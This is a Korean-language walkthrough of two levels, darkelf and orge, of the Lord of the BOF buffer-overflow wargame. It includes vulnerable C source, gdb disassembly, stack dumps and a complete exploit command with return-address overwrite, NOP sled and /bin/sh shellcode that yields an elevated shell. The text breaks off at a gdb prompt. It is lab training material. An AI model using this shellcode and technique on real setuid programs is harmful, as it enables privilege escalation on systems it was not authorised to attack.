// check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); 전단계에서추가된점은 argv[1] 의길이를체크한다. 하지만우리는 argv[2] 를사용하면된다. 자빠르게 gdb 로분석한후풀어보자. (gdb) disas main Dump of assembler code for function main: 0x8048500 <main>: push %ebp 0x8048501 <main+1>: mov %ebp,%esp 0x8048503 <main+3>: sub %esp,44 0x8048506 <main+6>: cmp DWORD PTR [%ebp+8],1 0x804850a <main+10>: jg 0x8048523 <main+35> 0x804850c <main+12>: push 0x8048670 0x8048511 <main+17>: call 0x8048410 <printf> 0x8048516 <main+22>: add %esp,4 0x8048519 <main+25>: push 0 0x804851b <main+27>: call 0x8048420 <exit> 0x8048520 <main+32>: add %esp,4 0x8048523 <main+35>: nop 0x8048524 <main+36>: mov DWORD PTR [%ebp-44],0x0 0x804852b <main+43>: nop 0x804852c <main+44>: lea %esi,[%esi*1] 0x8048530 <main+48>: mov %eax,dword PTR [%ebp-44] 0x8048533 <main+51>: lea %edx,[%eax*4] 0x804853a <main+58>: mov %eax,%ds:0x80497a4 0x804853f <main+63>: cmp DWORD PTR [%eax+%edx],0 0x8048543 <main+67>: jne 0x8048547 <main+71>

0x8048545 <main+69>: jmp 0x8048587 <main+135> 0x8048547 <main+71>: mov %eax,dword PTR [%ebp-44] 0x804854a <main+74>: lea %edx,[%eax*4] 0x8048551 <main+81>: mov %eax,%ds:0x80497a4 0x8048556 <main+86>: mov %edx,dword PTR [%eax+%edx] 0x8048559 <main+89>: push %edx 0x804855a <main+90>: call 0x80483f0 <strlen> 0x804855f <main+95>: add %esp,4 0x8048562 <main+98>: mov %eax,%eax 0x8048564 <main+100>: push %eax 0x8048565 <main+101>: push 0 0x8048567 <main+103>: mov %eax,dword PTR [%ebp-44] 0x804856a <main+106>: lea %edx,[%eax*4] 0x8048571 <main+113>: mov %eax,%ds:0x80497a4 0x8048576 <main+118>: mov %edx,dword PTR [%eax+%edx] 0x8048579 <main+121>: push %edx 0x804857a <main+122>: call 0x8048430 <memset> ---Type <return> to continue, or q <return> to quit--- 0x804857f <main+127>: add %esp,12 0x8048582 <main+130>: inc DWORD PTR [%ebp-44] 0x8048585 <main+133>: jmp 0x8048530 <main+48> 0x8048587 <main+135>: mov %eax,dword PTR [%ebp+12] 0x804858a <main+138>: add %eax,4 0x804858d <main+141>: mov %edx,dword PTR [%eax] 0x804858f <main+143>: add %edx,47 0x8048592 <main+146>: cmp BYTE PTR [%edx],0xbf 0x8048595 <main+149>: je 0x80485b0 <main+176> 0x8048597 <main+151>: push 0x804867c 0x804859c <main+156>: call 0x8048410 <printf> 0x80485a1 <main+161>: add %esp,4 0x80485a4 <main+164>: push 0 0x80485a6 <main+166>: call 0x8048420 <exit> 0x80485ab <main+171>: add %esp,4 0x80485ae <main+174>: mov %esi,%esi 0x80485b0 <main+176>: mov %eax,dword PTR [%ebp+12] 0x80485b3 <main+179>: add %eax,4 0x80485b6 <main+182>: mov %edx,dword PTR [%eax] 0x80485b8 <main+184>: push %edx 0x80485b9 <main+185>: call 0x80483f0 <strlen> 0x80485be <main+190>: add %esp,4

0x80485c1 <main+193>: mov %eax,%eax 0x80485c3 <main+195>: cmp %eax,48 0x80485c6 <main+198>: jbe 0x80485e0 <main+224> 0x80485c8 <main+200>: push 0x8048699 0x80485cd <main+205>: call 0x8048410 <printf> 0x80485d2 <main+210>: add %esp,4 0x80485d5 <main+213>: push 0 0x80485d7 <main+215>: call 0x8048420 <exit> 0x80485dc <main+220>: add %esp,4 0x80485df <main+223>: nop 0x80485e0 <main+224>: mov %eax,dword PTR [%ebp+12] 0x80485e3 <main+227>: add %eax,4 0x80485e6 <main+230>: mov %edx,dword PTR [%eax] 0x80485e8 <main+232>: push %edx 0x80485e9 <main+233>: lea %eax,[%ebp-40] 0x80485ec <main+236>: push %eax ---Type <return> to continue, or q <return> to quit--- 0x80485ed <main+237>: call 0x8048440 <strcpy> 0x80485f2 <main+242>: add %esp,8 0x80485f5 <main+245>: lea %eax,[%ebp-40] 0x80485f8 <main+248>: push %eax 0x80485f9 <main+249>: push 0x80486b0 0x80485fe <main+254>: call 0x8048410 <printf> 0x8048603 <main+259>: add %esp,8 0x8048606 <main+262>: push 40 0x8048608 <main+264>: push 0 0x804860a <main+266>: lea %eax,[%ebp-40] 0x804860d <main+269>: push %eax 0x804860e <main+270>: call 0x8048430 <memset> 0x8048613 <main+275>: add %esp,12 0x8048616 <main+278>: leave 0x8048617 <main+279>: ret 0x8048618 <main+280>: nop 0x8048619 <main+281>: nop 0x804861a <main+282>: nop 0x804861b <main+283>: nop 0x804861c <main+284>: nop 0x804861d <main+285>: nop 0x804861e <main+286>: nop 0x804861f <main+287>: nop

End of assembler dump. buffer가 ebp-40에위치한다는것을알았다. 이제 strcpy() 함수다음에 breakpoint를걸고 argv[2] 에 nop를넣어주소를알아내겠다. (gdb) b * main+242 Breakpoint 1 at 0x80485f2 (gdb) r `python -c "print '\xbf'*48"` `python -c "print '\x90'*100"` Starting program: /home/wolfman/tmp/darkelf `python -c "print '\xbf'*48"` `python -c "print '\x90'*100"` Breakpoint 1, 0x80485f2 in main () (gdb) x/50x $esp... 생략... 0xbffffbb4: 0xbf00666c 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffbc4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffbd4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffbe4: 0x00bfbfbf 0x90909090 0x90909090 0x90909090 0xbffffbf4: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc04: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc14: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc24: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc34: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc44: 0x90909090 0x90909090 0x00000000 0x00000000 0xbffffc54: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc64: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc74: 0x00000000 0x00000000... 생략... 0xbffffc04로 ret를덮겠다. 쓰레기값 44 + 0xbffffc04 + nop + shellcode 공격을해보면 [wolfman@localhost tmp]$./darkelf `python -c "print 'A'*44+'\x04\xfc\xff\xbf'"` `python -c "print '\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ 오이번엔깔끔하게쉘을획득했다. 원본파일에도공격을하면 [wolfman@localhost wolfman]$./darkelf `python -c "print 'A'*44+'\x04\xfc\xff\xbf'"` `python -c "print

'\x90'*100+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\ x89\xe1\x31\xd2\xb0\x0b\xcd\x80'"` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA bash$ id uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman) bash$ my-pass euid = 506 kernel crashed LOB (darkelf -> orge) /* */ The Lord of the BOF : The Fellowship of the BOF - orge - check argv[0] #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); // here is changed! if(strlen(argv[0])!= 77){ printf("argv[0] error\n"); exit(0); // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i]));

if(argv[1][47]!= '\xbf') { printf("stack is still your friend.\n"); exit(0); // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); strcpy(buffer, argv[1]); printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); 전단꼐와달라진점이있다면 argv[0] 의길이를 77로검사한다는것이다. 이럴때는심볼릭링크기능을사용하면해결할수있다. 심볼릭링크를이용해이름을 77만큼맞춘후 argv[2] 에 nop과 shellcode를넣어쉘을획득하겠다. 일단심볼릭링크를이용하는방법을알아야한다. [ln s 원본파일링크링크파일 ] 파일을복사해서분석해보겠다. [darkelf@localhost tmp]$ pwd /home/darkelf/tmp tmp 까지 17 개로이루어져있으니 / 를생각해서 A*59 를하면되겠다. [darkelf@localhost tmp]$ ln -s orge `python -c "print 'A'*59"` [darkelf@localhost tmp]$ ll total 16 lrwxrwxrwx 1 darkelf darkelf 4 May 20 22:38 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -> orge -rwsr-sr-x 1 darkelf darkelf 12700 May 20 22:34 orge gdb 로분석하면 [darkelf@localhost tmp]$ gdb -q